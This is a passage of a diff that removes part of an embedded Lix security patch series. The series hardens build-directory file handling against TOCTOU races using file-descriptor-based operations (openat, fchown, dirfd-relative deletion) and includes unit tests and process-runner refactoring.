-+    } catch (...) {
-+    }
-+#elif defined (HAVE_F_GETPATH) && HAVE_F_GETPATH
-+    std::string fdName(PATH_MAX, '\0');
-+    if (fcntl(fd, F_GETPATH, fdName.data()) != -1) {
-+        fdName.resize(strlen(fdName.c_str()));
-+        return fdName;
-+    }
-+#else
-+#error "No implementation for retrieving file descriptors path."
-+#endif
-+
-+    return fmt("<fd %i>", fd);
-+}
-+
- 
- void AutoCloseFD::close()
- {
-diff --git a/lix/libutil/file-descriptor.hh b/lix/libutil/file-descriptor.hh
-index 5331751cb..6c1c698fc 100644
---- a/lix/libutil/file-descriptor.hh
-+++ b/lix/libutil/file-descriptor.hh
-@@ -36,6 +36,15 @@ void writeFull(int fd, std::string_view s, bool allowInterrupts = true);
-  */
- std::string drainFD(int fd, bool block = true, const size_t reserveSize=0);
- 
-+
-+/*
-+ * Will attempt to guess *A* path associated that might lead to the same file as used by this
-+ * file descriptor.
-+ *
-+ * The returned string should NEVER be used as a valid path.
-+ */
-+std::string guessOrInventPathFromFD(int fd);
-+
- Generator<Bytes> drainFDSource(int fd, bool block = true);
- 
- class AutoCloseFD
-@@ -50,6 +59,15 @@ public:
-     AutoCloseFD& operator =(const AutoCloseFD & fd) = delete;
-     AutoCloseFD& operator =(AutoCloseFD&& fd) noexcept(false);
-     int get() const;
-+
-+    /*
-+     * Will attempt to guess *A* path associated that might lead to the same file as used by this
-+     * file descriptor.
-+     *
-+     * The returned string should NEVER be used as a valid path.
-+     */
-+    std::string guessOrInventPath() const { return guessOrInventPathFromFD(fd); }
-+
-     explicit operator bool() const;
-     int release();
-     void close();
-diff --git a/meson.build b/meson.build
-index f0443bbd1..92b4c05ec 100644
---- a/meson.build
-+++ b/meson.build
-@@ -266,6 +266,11 @@ configdata += {
-   'HAVE_SECCOMP': seccomp.found().to_int(),
- }
- 
-+# fcntl(F_GETPATH) returns the path of an fd on macOS and BSDs
-+configdata += {
-+  'HAVE_F_GETPATH': cxx.has_header_symbol('fcntl.h', 'F_GETPATH').to_int(),
-+}
-+
- libarchive = dependency('libarchive', required : true, include_type : 'system')
- 
- brotli = [
-diff --git a/tests/unit/libutil/tests.cc b/tests/unit/libutil/tests.cc
-index 3b865cb82..263fd7834 100644
---- a/tests/unit/libutil/tests.cc
-+++ b/tests/unit/libutil/tests.cc
-@@ -3,6 +3,8 @@
- #include "lix/libutil/strings.hh"
- #include "lix/libutil/types.hh"
- #include "lix/libutil/terminal.hh"
-+#include "lix/libutil/unix-domain-socket.hh"
-+#include "tests/test-data.hh"
- 
- #include <gtest/gtest.h>
- 
-@@ -207,6 +209,85 @@ namespace nix {
-         ASSERT_FALSE(pathExists("/schnitzel/darmstadt/pommes"));
-     }
- 
-+    /* ----------------------------------------------------------------------------
-+     * AutoCloseFD::guessOrInventPath
-+     * --------------------------------------------------------------------------*/
-+    void testGuessOrInventPathPrePostDeletion(AutoCloseFD & fd, Path & path) {
-+        {
-+            SCOPED_TRACE(fmt("guessing path before deletion of '%1%'", path));
-+            ASSERT_TRUE(fd);
-+            /* We cannot predict what the platform will return here.
-+             * But it cannot fail. */
-+            ASSERT_TRUE(fd.guessOrInventPath().size() >= 0);
-+        }
-+        {
-+            SCOPED_TRACE(fmt("guessing path after deletion of '%1%'", path));
-+            deletePath(path);
-+            /* We cannot predict what the platform will return here.
-+             * But it cannot fail. */
-+            ASSERT_TRUE(fd.guessOrInventPath().size() >= 0);
-+        }
-+    }
-+    TEST(guessOrInventPath, files) {
-+        Path filePath = getUnitTestDataPath("guess-or-invent/test.txt");
-+        createDirs(dirOf(filePath));
-+        writeFile(filePath, "some text");
-+        AutoCloseFD file{open(filePath.c_str(), O_RDONLY, 0666)};
-+        testGuessOrInventPathPrePostDeletion(file, filePath);
-+    }
-+
-+    TEST(guessOrInventPath, directories) {
-+        Path dirPath = getUnitTestDataPath("guess-or-invent/test-dir");
-+        createDirs(dirPath);
-+        AutoCloseFD directory{open(dirPath.c_str(), O_DIRECTORY, 0666)};
-+        testGuessOrInventPathPrePostDeletion(directory, dirPath);
-+    }
-+
-+#ifdef O_PATH
-+    TEST(guessOrInventPath, symlinks) {
-+        Path symlinkPath = getUnitTestDataPath("guess-or-invent/test-symlink");
-+        Path targetPath = getUnitTestDataPath("guess-or-invent/nowhere");
-+        createDirs(dirOf(symlinkPath));
-+        createSymlink(targetPath, symlinkPath);
-+        AutoCloseFD symlink{open(symlinkPath.c_str(), O_PATH | O_NOFOLLOW, 0666)};
-+        testGuessOrInventPathPrePostDeletion(symlink, symlinkPath);
-+    }
-+
-+    TEST(guessOrInventPath, fifos) {
-+        Path fifoPath = getUnitTestDataPath("guess-or-invent/fifo");
-+        createDirs(dirOf(fifoPath));
-+        ASSERT_TRUE(mkfifo(fifoPath.c_str(), 0666) == 0);
-+        AutoCloseFD fifo{open(fifoPath.c_str(), O_PATH | O_NOFOLLOW, 0666)};
-+        testGuessOrInventPathPrePostDeletion(fifo, fifoPath);
-+    }
-+#endif
-+
-+    TEST(guessOrInventPath, pipes) {
-+        int pipefd[2];
-+
-+        ASSERT_TRUE(pipe(pipefd) == 0);
-+
-+        AutoCloseFD pipe_read{pipefd[0]};
-+        ASSERT_TRUE(pipe_read);
-+        AutoCloseFD pipe_write{pipefd[1]};
-+        ASSERT_TRUE(pipe_write);
-+
-+        /* We cannot predict what the platform will return here.
-+         * But it cannot fail. */
-+        ASSERT_TRUE(pipe_read.guessOrInventPath().size() >= 0);
-+        ASSERT_TRUE(pipe_write.guessOrInventPath().size() >= 0);
-+        pipe_write.close();
-+        ASSERT_TRUE(pipe_read.guessOrInventPath().size() >= 0);
-+        pipe_read.close();
-+    }
-+
-+    TEST(guessOrInventPath, sockets) {
-+        Path socketPath = getUnitTestDataPath("guess-or-invent/socket");
-+        createDirs(dirOf(socketPath));
-+        AutoCloseFD socket = createUnixDomainSocket(socketPath, 0666);
-+        testGuessOrInventPathPrePostDeletion(socket, socketPath);
-+    }
-+
-     /* ----------------------------------------------------------------------------
-      * concatStringsSep
-      * --------------------------------------------------------------------------*/
--- 
-2.49.0
-
-
-From bcf1f27fec3b18c33e7b76384cebd95b105f9357 Mon Sep 17 00:00:00 2001
-From: Raito Bezarius <raito@lix.systems>
-Date: Wed, 26 Mar 2025 01:04:59 +0100
-Subject: [SECURITY FIX 02/12] libstore: open build directory as a dirfd as
- well
-
-We now keep around a proper AutoCloseFD around the temporary directory
-which we plan to use for openat operations and avoiding the build
-directory being swapped out while we are doing something else.
-
-Change-Id: I18d387b0f123ebf2d20c6405cd47ebadc5505f2a
-Signed-off-by: Raito Bezarius <raito@lix.systems>
----
- lix/libstore/build/local-derivation-goal.cc | 5 +++++
- lix/libstore/build/local-derivation-goal.hh | 5 +++++
- 2 files changed, 10 insertions(+)
-
-diff --git a/lix/libstore/build/local-derivation-goal.cc b/lix/libstore/build/local-derivation-goal.cc
-index 5de4fdec5..fc6e925f3 100644
---- a/lix/libstore/build/local-derivation-goal.cc
-+++ b/lix/libstore/build/local-derivation-goal.cc
-@@ -441,6 +441,11 @@ try {
-         false,
-         0700
-     );
-+    /* The TOCTOU between the previous mkdir call and this open call is unavoidable due to
-+     * POSIX semantics.*/
-+    tmpDirFd = AutoCloseFD{open(tmpDir.c_str(), O_RDONLY | O_NOFOLLOW | O_DIRECTORY)};
-+    if (!tmpDirFd)
-+        throw SysError("failed to open the build temporary directory descriptor '%1%'", tmpDir);
- 
-     chownToBuilder(tmpDir);
- 
-diff --git a/lix/libstore/build/local-derivation-goal.hh b/lix/libstore/build/local-derivation-goal.hh
-index ec874ecea..5b9051ede 100644
---- a/lix/libstore/build/local-derivation-goal.hh
-+++ b/lix/libstore/build/local-derivation-goal.hh
-@@ -42,6 +42,11 @@ struct LocalDerivationGoal : public DerivationGoal
-      */
-     Path tmpDir;
- 
-+    /**
-+     * The temporary directory file descriptor
-+     */
-+    AutoCloseFD tmpDirFd;
-+
-     /**
-      * The path of the temporary directory in the sandbox.
-      */
--- 
-2.49.0
-
-
-From 10509774edf5f6cae9a17ff9b656e4fb42c996f8 Mon Sep 17 00:00:00 2001
-From: Raito Bezarius <raito@lix.systems>
-Date: Wed, 26 Mar 2025 01:05:34 +0100
-Subject: [SECURITY FIX 03/12] libstore: chown to builder variant for file
- descriptors
-
-We use it immediately for the build temporary directory.
-
-Change-Id: I180193c63a2b98721f5fb8e542c4e39c099bb947
-Signed-off-by: Raito Bezarius <raito@lix.systems>
----
- lix/libstore/build/local-derivation-goal.cc |  9 ++++++++-
- lix/libstore/build/local-derivation-goal.hh | 10 +++++++++-
- 2 files changed, 17 insertions(+), 2 deletions(-)
-
-diff --git a/lix/libstore/build/local-derivation-goal.cc b/lix/libstore/build/local-derivation-goal.cc
-index fc6e925f3..6d93c6841 100644
---- a/lix/libstore/build/local-derivation-goal.cc
-+++ b/lix/libstore/build/local-derivation-goal.cc
-@@ -447,7 +447,7 @@ try {
-     if (!tmpDirFd)
-         throw SysError("failed to open the build temporary directory descriptor '%1%'", tmpDir);
- 
--    chownToBuilder(tmpDir);
-+    chownToBuilder(tmpDirFd);
- 
-     for (auto & [outputName, status] : initialOutputs) {
-         /* Set scratch path we'll actually use during the build.
-@@ -931,6 +931,13 @@ void LocalDerivationGoal::chownToBuilder(const Path & path)
-         throw SysError("cannot change ownership of '%1%'", path);
- }
- 
-+void LocalDerivationGoal::chownToBuilder(const AutoCloseFD & fd)
-+{
-+    if (!buildUser) return;
-+    if (fchown(fd.get(), buildUser->getUID(), buildUser->getGID()) == -1)
-+        throw SysError("cannot change ownership of file '%1%'", fd.guessOrInventPath());
-+}
-+
- 
- void LocalDerivationGoal::runChild()
- {
-diff --git a/lix/libstore/build/local-derivation-goal.hh b/lix/libstore/build/local-derivation-goal.hh
-index 5b9051ede..eb2fe50f3 100644
---- a/lix/libstore/build/local-derivation-goal.hh
-+++ b/lix/libstore/build/local-derivation-goal.hh
-@@ -202,10 +202,18 @@ struct LocalDerivationGoal : public DerivationGoal
-     kj::Promise<Result<void>> writeStructuredAttrs();
- 
-     /**
--     * Make a file owned by the builder.
-+     * Make a file owned by the builder addressed by its path.
-+     *
-+     * SAFETY: this function is prone to TOCTOU as it receives a path and not a descriptor.
-+     * It's only safe to call in a child of a directory only visible to the owner.
-      */
-     void chownToBuilder(const Path & path);
- 
-+    /**
-+     * Make a file owned by the builder addressed by its file descriptor.
-+     */
-+    void chownToBuilder(const AutoCloseFD & fd);
-+
-     int getChildStatus() override;
- 
-     /**
--- 
-2.49.0
-
-
-From ee8382a01253059b8680d041b860b361cbde6192 Mon Sep 17 00:00:00 2001
-From: Raito Bezarius <raito@lix.systems>
-Date: Wed, 26 Mar 2025 01:06:03 +0100
-Subject: [SECURITY FIX 04/12] libutil: writeFile variant for file descriptors
-
-`writeFile` lose its `sync` boolean flag to make things simpler.
-
-A new `writeFileAndSync` function is created and all call sites are
-converted to it.
-
-Change-Id: Ib871a5283a9c047db1e4fe48a241506e4aab9192
-Signed-off-by: Raito Bezarius <raito@lix.systems>
----
- lix/libstore/local-store.cc |  4 +--
- lix/libutil/file-system.cc  | 50 ++++++++++++++++++++++++++-----------
- lix/libutil/file-system.hh  | 22 ++++++++--------
- 3 files changed, 49 insertions(+), 27 deletions(-)
-
-diff --git a/lix/libstore/local-store.cc b/lix/libstore/local-store.cc
-index 3d75be2f4..1d4ba8665 100644
---- a/lix/libstore/local-store.cc
-+++ b/lix/libstore/local-store.cc
-@@ -224,7 +224,7 @@ void LocalStore::initDB(DBState & state)
-     else if (curSchema == 0) { /* new store */
-         curSchema = nixSchemaVersion;
-         openDB(state, true);
--        writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, true);
-+        writeFileAndSync(schemaPath, fmt("%1%", nixSchemaVersion), 0666);
-     }
- 
-     else if (curSchema < nixSchemaVersion) {
-@@ -277,7 +277,7 @@ void LocalStore::initDB(DBState & state)
-             txn.commit();
-         }
- 
--        writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, true);
-+        writeFileAndSync(schemaPath, fmt("%1%", nixSchemaVersion), 0666);
- 
-         lockFile(globalLock.get(), ltRead, always_progresses);
-     }
-diff --git a/lix/libutil/file-system.cc b/lix/libutil/file-system.cc
-index 47fc2f7ba..0fe70d938 100644
---- a/lix/libutil/file-system.cc
-+++ b/lix/libutil/file-system.cc
-@@ -358,28 +358,49 @@ Generator<Bytes> readFileSource(const Path & path)
-     }(std::move(fd));
- }
- 
--void writeFile(const Path & path, std::string_view s, mode_t mode, bool sync, bool allowInterrupts)
-+void writeFile(const Path & path, std::string_view s, mode_t mode, bool allowInterrupts)
- {
-     AutoCloseFD fd{open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC, mode)};
-     if (!fd)
-         throw SysError("opening file '%1%'", path);
-+
-+    writeFile(fd, s, mode, allowInterrupts);
-+
-+    /* Close explicitly to propagate the exceptions. */
-+    fd.close();
-+}
-+
-+void writeFile(AutoCloseFD & fd, std::string_view s, mode_t mode, bool allowInterrupts)
-+{
-+    assert(fd);
-     try {
-         writeFull(fd.get(), s, allowInterrupts);
-     } catch (Error & e) {
--        e.addTrace({}, "writing file '%1%'", path);
-+        e.addTrace({}, "writing file '%1%'", fd.guessOrInventPath());
-         throw;
-     }
--    if (sync)
--        fd.fsync();
--    // Explicitly close to make sure exceptions are propagated.
--    fd.close();
--    if (sync)
--        syncParent(path);
- }
- 
--void writeFileUninterruptible(const Path & path, std::string_view s, mode_t mode, bool sync)
-+void writeFileUninterruptible(const Path & path, std::string_view s, mode_t mode)
-+{
-+    writeFile(path, s, mode, false);
-+}
-+
-+void writeFileAndSync(const Path & path, std::string_view s, mode_t mode)
- {
--    writeFile(path, s, mode, sync, false);
-+    {
-+        AutoCloseFD fd{open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC, mode)};
-+        if (!fd) {
-+            throw SysError("opening file '%1%'", path);
-+        }
-+
-+        writeFile(fd, s, mode);
-+        fd.fsync();
-+        /* Close explicitly to ensure that exceptions are propagated. */
-+        fd.close();
-+    }
-+
-+    syncParent(path);
- }
- 
- static AutoCloseFD openForWrite(const Path & path, mode_t mode)
-@@ -400,7 +421,7 @@ static void closeForWrite(const Path & path, AutoCloseFD & fd, bool sync)
-         syncParent(path);
- }
- 
--void writeFile(const Path & path, Source & source, mode_t mode, bool sync)
-+void writeFile(const Path & path, Source & source, mode_t mode)
- {
-     AutoCloseFD fd = openForWrite(path, mode);
- 
-@@ -417,11 +438,10 @@ void writeFile(const Path & path, Source & source, mode_t mode, bool sync)
-         e.addTrace({}, "writing file '%1%'", path);
-         throw;
-     }
--    closeForWrite(path, fd, sync);
-+    closeForWrite(path, fd, false);
- }
- 
--kj::Promise<Result<void>>
--writeFile(const Path & path, AsyncInputStream & source, mode_t mode, bool sync)
-+kj::Promise<Result<void>> writeFile(const Path & path, AsyncInputStream & source, mode_t mode)
- try {
-     AutoCloseFD fd = openForWrite(path, mode);
- 
-@@ -439,7 +459,7 @@ try {
-         e.addTrace({}, "writing file '%1%'", path);
-         throw;
-     }
--    closeForWrite(path, fd, sync);
-+    closeForWrite(path, fd, false);
-     co_return result::success();
- } catch (...) {
-     co_return result::current_exception();
-diff --git a/lix/libutil/file-system.hh b/lix/libutil/file-system.hh
-index 7d76b4fd0..a6267825d 100644
---- a/lix/libutil/file-system.hh
-+++ b/lix/libutil/file-system.hh
-@@ -190,19 +190,21 @@ Generator<Bytes> readFileSource(const Path & path);
-  * Write a string to a file.
-  */
- void writeFile(
--    const Path & path,
--    std::string_view s,
--    mode_t mode = 0666,
--    bool sync = false,
--    bool allowInterrupts = true
--);
--void writeFileUninterruptible(
--    const Path & path, std::string_view s, mode_t mode = 0666, bool sync = false
-+    const Path & path, std::string_view s, mode_t mode = 0666, bool allowInterrupts = true
- );
-+void writeFileUninterruptible(const Path & path, std::string_view s, mode_t mode = 0666);
-+void writeFile(const Path & path, Source & source, mode_t mode = 0666);
- 
--void writeFile(const Path & path, Source & source, mode_t mode = 0666, bool sync = false);
-+void writeFile(
-+    AutoCloseFD & fd, std::string_view s, mode_t mode = 0666, bool allowInterrupts = false
-+);
- kj::Promise<Result<void>>
--writeFile(const Path & path, AsyncInputStream & source, mode_t mode = 0666, bool sync = false);
-+writeFile(const Path & path, AsyncInputStream & source, mode_t mode = 0666);
-+
-+/**
-+ * Write a string to a file and flush the file and its parents direcotry to disk.
-+ */
-+void writeFileAndSync(const Path & path, std::string_view s, mode_t mode = 0666);
- 
- /**
-  * Flush a file's parent directory to disk
--- 
-2.49.0
-
-
-From 8b93c4c17a7eabf7bdfd71da2bbe41454be96adb Mon Sep 17 00:00:00 2001
-From: Raito Bezarius <raito@lix.systems>
-Date: Wed, 26 Mar 2025 01:07:47 +0100
-Subject: [SECURITY FIX 05/12] libstore: ensure that `passAsFile` is created in
- the original temp dir
-
-This ensures that `passAsFile` data is created inside the expected
-temporary build directory by `openat()` from the parent directory file
-descriptor.
-
-This avoids a TOCTOU which is part of the attack chain of CVE-????.
-
-Change-Id: Ie5273446c4a19403088d0389ae8e3f473af8879a
-Signed-off-by: Raito Bezarius <raito@lix.systems>
----
- lix/libstore/build/local-derivation-goal.cc | 9 +++++++--
- 1 file changed, 7 insertions(+), 2 deletions(-)
-
-diff --git a/lix/libstore/build/local-derivation-goal.cc b/lix/libstore/build/local-derivation-goal.cc
-index 6d93c6841..c33bd8283 100644
---- a/lix/libstore/build/local-derivation-goal.cc
-+++ b/lix/libstore/build/local-derivation-goal.cc
-@@ -814,8 +814,13 @@ void LocalDerivationGoal::initTmpDir() {
-                 auto hash = hashString(HashType::SHA256, i.first);
-                 std::string fn = ".attr-" + hash.to_string(Base::Base32, false);
-                 Path p = tmpDir + "/" + fn;
--                writeFile(p, rewriteStrings(i.second, inputRewrites));
--                chownToBuilder(p);
-+                /* TODO(jade): we should have BorrowedFD instead of OwnedFD. */
-+                AutoCloseFD passAsFileFd{openat(tmpDirFd.get(), fn.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC | O_EXCL | O_NOFOLLOW, 0666)};
-+                if (!passAsFileFd) {
-+                    throw SysError("opening `passAsFile` file in the sandbox '%1%'", p);
-+                }
-+                writeFile(passAsFileFd, rewriteStrings(i.second, inputRewrites));
-+                chownToBuilder(passAsFileFd);
-                 env[i.first + "Path"] = tmpDirInSandbox + "/" + fn;
-             }
-         }
--- 
-2.49.0
-
-
-From d092cfa499fad3c661c7f07d2b5e0150b936db8e Mon Sep 17 00:00:00 2001
-From: Raito Bezarius <raito@lix.systems>
-Date: Wed, 26 Mar 2025 12:42:55 +0100
-Subject: [SECURITY FIX 06/12] libutil: ensure that `_deletePath` does NOT use
- absolute paths with dirfds
-
-When calling `_deletePath` with a parent file descriptor, `openat` is
-made effective by using relative paths to the directory file descriptor.
-
-To avoid the problem, the signature is changed to resist misuse with an
-assert in the prologue of the function.
-
-Change-Id: I6b3fc766bad2afe54dc27d47d1df3873e188de96
-Signed-off-by: Raito Bezarius <raito@lix.systems>
----
- lix/libutil/file-system.cc | 36 ++++++++++++++++++++++++------------
- 1 file changed, 24 insertions(+), 12 deletions(-)
-
-diff --git a/lix/libutil/file-system.cc b/lix/libutil/file-system.cc
-index 0fe70d938..1b71caeb1 100644
---- a/lix/libutil/file-system.cc
-+++ b/lix/libutil/file-system.cc
-@@ -473,18 +473,29 @@ void syncParent(const Path & path)
-     fd.fsync();
- }
- 
--static void _deletePath(int parentfd, const Path & path, uint64_t & bytesFreed, bool interruptible)
-+/* TODO(horrors): a better structure that links all parent fds for the traversal root
-+ * should be considered for this code
-+ */
-+static void _deletePath(int parentfd, const std::string & name, uint64_t & bytesFreed, bool interruptible)
- {
-+    /* This ensures that `name` is an immediate child of `parentfd`. */
-+    assert(!name.empty() && name.find('/') == std::string::npos && "`name` is an immediate child to `parentfd`");
-+
-     if (interruptible) {
-         checkInterrupt();
-     }
- 
--    std::string name(baseNameOf(path));
-+    /* FIXME(horrors): there's a minor TOCTOU here.
-+     * we fstatat the inode nofollow, check if this is a directory
-+     * and then open it.
-+     * a better alternative is open it as O_PATH as a namefd.
-+     * if it's a directory, it can be openat with the namefd.
-+     */
- 
-     struct stat st;
-     if (fstatat(parentfd, name.c_str(), &st, AT_SYMLINK_NOFOLLOW) == -1) {
-         if (errno == ENOENT) return;
--        throw SysError("getting status of '%1%'", path);
-+        throw SysError("getting status of '%1%' in directory '%2%'", name, guessOrInventPathFromFD(parentfd));
-     }
- 
-     if (!S_ISDIR(st.st_mode)) {
-@@ -515,24 +526,25 @@ static void _deletePath(int parentfd, const Path & path, uint64_t & bytesFreed,
-         /* Make the directory accessible. */
-         const auto PERM_MASK = S_IRUSR | S_IWUSR | S_IXUSR;
-         if ((st.st_mode & PERM_MASK) != PERM_MASK) {
--            if (fchmodat(parentfd, name.c_str(), st.st_mode | PERM_MASK, 0) == -1)
--                throw SysError("chmod '%1%'", path);
-+            if (fchmodat(parentfd, name.c_str(), st.st_mode | PERM_MASK, 0) == -1) {
-+                throw SysError("chmod '%1%' in directory '%2%'", name, guessOrInventPathFromFD(parentfd));
-+            }
-         }
- 
--        int fd = openat(parentfd, path.c_str(), O_RDONLY);
-+        int fd = openat(parentfd, name.c_str(), O_RDONLY | O_DIRECTORY | O_NOFOLLOW);
-         if (fd == -1)
--            throw SysError("opening directory '%1%'", path);
-+            throw SysError("opening directory '%1%' in directory '%2%'", name, guessOrInventPathFromFD(parentfd));
-         AutoCloseDir dir(fdopendir(fd));
-         if (!dir)
--            throw SysError("opening directory '%1%'", path);
--        for (auto & i : readDirectory(dir.get(), path, interruptible))
--            _deletePath(dirfd(dir.get()), path + "/" + i.name, bytesFreed, interruptible);
-+            throw SysError("opening directory '%1%' in directory '%2%'", name, guessOrInventPathFromFD(parentfd));
-+        for (auto & i : readDirectory(dir.get(), name, interruptible))
-+            _deletePath(dirfd(dir.get()), i.name, bytesFreed, interruptible);
-     }
- 
-     int flags = S_ISDIR(st.st_mode) ? AT_REMOVEDIR : 0;
-     if (unlinkat(parentfd, name.c_str(), flags) == -1) {
-         if (errno == ENOENT) return;
--        throw SysError("cannot unlink '%1%'", path);
-+        throw SysError("cannot unlink '%1%' in directory '%2%'", name, guessOrInventPathFromFD(parentfd));
-     }
- }
- 
-@@ -548,7 +560,7 @@ static void _deletePath(const Path & path, uint64_t & bytesFreed, bool interrupt
-         throw SysError("opening directory '%1%'", path);
-     }
- 
--    _deletePath(dirfd.get(), path, bytesFreed, interruptible);
-+    _deletePath(dirfd.get(), std::string(baseNameOf(path)), bytesFreed, interruptible);
- }
- 
- 
--- 
-2.49.0
-
-
-From 500a7406a0f6fe2d9132da70d10688cfc7fa598d Mon Sep 17 00:00:00 2001
-From: eldritch horrors <pennae@lix.systems>
-Date: Mon, 17 Mar 2025 15:45:27 +0100
-Subject: [SECURITY FIX 07/12] libutil: make RunningProgram more useful
-
-make it moveable, make it killable, and add a stdout fd accessor.
-
-Change-Id: I2387cbe8ac67b899a322cd6c7d306ef9ea7abcd0
----
- lix/libcmd/repl.cc                    |  4 ++--
- lix/libfetchers/git.cc                |  2 +-
- lix/libstore/build/derivation-goal.cc |  2 +-
- lix/libutil/processes.cc              | 19 +++++++++++++++++--
- lix/libutil/processes.hh              | 16 +++++++++++++++-
- 5 files changed, 36 insertions(+), 7 deletions(-)
-
-diff --git a/lix/libcmd/repl.cc b/lix/libcmd/repl.cc
-index 50ce1cd3a..5afebea93 100644
---- a/lix/libcmd/repl.cc
-+++ b/lix/libcmd/repl.cc
-@@ -254,7 +254,7 @@ void runNix(Path program, const Strings & args)
-         .program = settings.nixBinDir+ "/" + program,
-         .args = args,
-         .environment = subprocessEnv,
--    }).wait();
-+    }).waitAndCheck();
- 
-     return;
- }
-@@ -672,7 +672,7 @@ ProcessLineResult NixRepl::processLine(std::string line)
- 
-         // runProgram redirects stdout to a StringSink,
-         // using runProgram2 to allow editors to display their UI
--        runProgram2(RunOptions { .program = editor, .searchPath = true, .args = args }).wait();
-+        runProgram2(RunOptions { .program = editor, .searchPath = true, .args = args }).waitAndCheck();
- 
-         // Reload right after exiting the editor if path is not in store
-         // Store is immutable, so there could be no changes, so there's no need to reload
-diff --git a/lix/libfetchers/git.cc b/lix/libfetchers/git.cc
-index b44ea997a..3231ec011 100644
---- a/lix/libfetchers/git.cc
-+++ b/lix/libfetchers/git.cc
-@@ -777,7 +777,7 @@ struct GitInputScheme : InputScheme
-                 .args = { "-C", repoDir, "--git-dir", gitDir, "archive", input.getRev()->gitRev() },
-                 .captureStdout = true,
-             });
--            Finally const _wait([&] { proc.wait(); });
-+            Finally const _wait([&] { proc.waitAndCheck(); });
- 
-             unpackTarfile(*proc.getStdout(), tmpDir);
-         }
-diff --git a/lix/libstore/build/derivation-goal.cc b/lix/libstore/build/derivation-goal.cc
-index 6767bc37e..69e654490 100644
---- a/lix/libstore/build/derivation-goal.cc
-+++ b/lix/libstore/build/derivation-goal.cc
-@@ -895,7 +895,7 @@ void runPostBuildHook(
-     });
-     Finally const _wait([&] {
-         try {
--            proc.wait();
-+            proc.waitAndCheck();
-         } catch (nix::Error & e) {
-             e.addTrace(nullptr,
-                 "while running the post-build-hook %s for derivation %s",
-diff --git a/lix/libutil/processes.cc b/lix/libutil/processes.cc
-index e2cc2515b..6b24d943f 100644
---- a/lix/libutil/processes.cc
-+++ b/lix/libutil/processes.cc
-@@ -249,7 +249,7 @@ std::pair<int, std::string> runProgram(RunOptions && options)
- 
-     try {
-         auto proc = runProgram2(options);
--        Finally const _wait([&] { proc.wait(); });
-+        Finally const _wait([&] { proc.waitAndCheck(); });
-         stdout = proc.getStdout()->drain();
-     } catch (ExecError & e) {
-         status = e.status;
-@@ -277,7 +277,22 @@ RunningProgram::~RunningProgram()
-     }
- }
- 
--void RunningProgram::wait()
-+std::tuple<pid_t, std::unique_ptr<Source>, int> RunningProgram::release()
-+{
-+    return {pid.release(), std::move(stdoutSource), stdout_.release()};
-+}
-+
-+int RunningProgram::kill()
-+{
-+    return pid.kill();
-+}
-+
-+int RunningProgram::wait()
-+{
-+    return pid.wait();
-+}
-+
-+void RunningProgram::waitAndCheck()
- {
-     if (std::uncaught_exceptions() == 0) {
-         int status = pid.wait();
-diff --git a/lix/libutil/processes.hh b/lix/libutil/processes.hh
-index e9e4eb15a..01c42b9fc 100644
---- a/lix/libutil/processes.hh
-+++ b/lix/libutil/processes.hh
-@@ -102,9 +102,23 @@ private:
- 
- public:
-     RunningProgram() = default;
-+    RunningProgram(RunningProgram &&) = default;
-+    RunningProgram & operator=(RunningProgram &&) = default;
-     ~RunningProgram();
- 
--    void wait();
-+    explicit operator bool() const { return bool(pid); }
-+
-+    std::tuple<pid_t, std::unique_ptr<Source>, int> release();
-+
-+    int kill();
-+    [[nodiscard]]
-+    int wait();
-+    void waitAndCheck();
-+
-+    std::optional<int> getStdoutFD() const
-+    {
-+        return stdout_ ? std::optional(stdout_.get()) : std::nullopt;
-+    }
- 
-     Source * getStdout() const { return stdoutSource.get(); };
- };
--- 
-2.49.0
-
-
-From 7f127054bec18da811bf3364909870f7a54f6b8d Mon Sep 17 00:00:00 2001
-From: eldritch horrors <pennae@lix.systems>
-Date: Mon, 17 Mar 2025 15:45:27 +0100
-Subject: [SECURITY FIX 08/12] libutil: add generic redirections runProgram2
-
-explicit stderr redirection makes mergeStderrToStdout unnecessary also.
-
-Change-Id: I63de929e6dc53f6c5ceb2d43c2ce288bfc04d872
----
- lix/libfetchers/git.cc                | 23 +++++++++++++++++------
- lix/libstore/build/derivation-goal.cc |  2 +-
- lix/libstore/globals.cc               | 12 ++++++++++--
- lix/libstore/ssh.cc                   |  1 +
- lix/libutil/processes.cc              |  8 +++++---
- lix/libutil/processes.hh              |  7 ++++++-
- 6 files changed, 40 insertions(+), 13 deletions(-)
-
-diff --git a/lix/libfetchers/git.cc b/lix/libfetchers/git.cc
-index 3231ec011..aa3ef7150 100644
---- a/lix/libfetchers/git.cc
-+++ b/lix/libfetchers/git.cc
-@@ -22,6 +22,7 @@
- #include <string.h>
- #include <sys/time.h>
- #include <sys/wait.h>
-+#include <unistd.h>
- 
- using namespace std::string_literals;
- 
-@@ -164,11 +165,19 @@ WorkdirInfo getWorkdirInfo(const Input & input, const Path & workdir)
- 
-     /* Check whether HEAD points to something that looks like a commit,
-        since that is the refrence we want to use later on. */
--    auto result = runProgram(RunOptions {
-+    auto result = runProgram(RunOptions{
-         .program = "git",
--        .args = { "-C", workdir, "--git-dir", gitDir, "rev-parse", "--verify", "--no-revs", "HEAD^{commit}" },
-+        .args =
-+            {"-C",
-+             workdir,
-+             "--git-dir",
-+             gitDir,
-+             "rev-parse",
-+             "--verify",
-+             "--no-revs",
-+             "HEAD^{commit}"},
-         .environment = env,
--        .mergeStderrToStdout = true
-+        .redirections = {{.from = STDERR_FILENO, .to = STDOUT_FILENO}},
-     });
-     auto exitCode = WEXITSTATUS(result.first);
-     auto errorMessage = result.second;
-@@ -709,10 +718,12 @@ struct GitInputScheme : InputScheme
-         AutoDelete delTmpDir(tmpDir, true);
-         PathFilter filter = defaultPathFilter;
- 
--        auto result = runProgram(RunOptions {
-+        auto result = runProgram(RunOptions{
-             .program = "git",
--            .args = { "-C", repoDir, "--git-dir", gitDir, "cat-file", "commit", input.getRev()->gitRev() },
--            .mergeStderrToStdout = true
-+            .args =
-+                {"-C", repoDir, "--git-dir", gitDir, "cat-file", "commit", input.getRev()->gitRev()
-+                },
-+            .redirections = {{.from = STDERR_FILENO, .to = STDOUT_FILENO}},
-         });
-         if (WEXITSTATUS(result.first) == 128
-             && result.second.find("bad file") != std::string::npos)
-diff --git a/lix/libstore/build/derivation-goal.cc b/lix/libstore/build/derivation-goal.cc
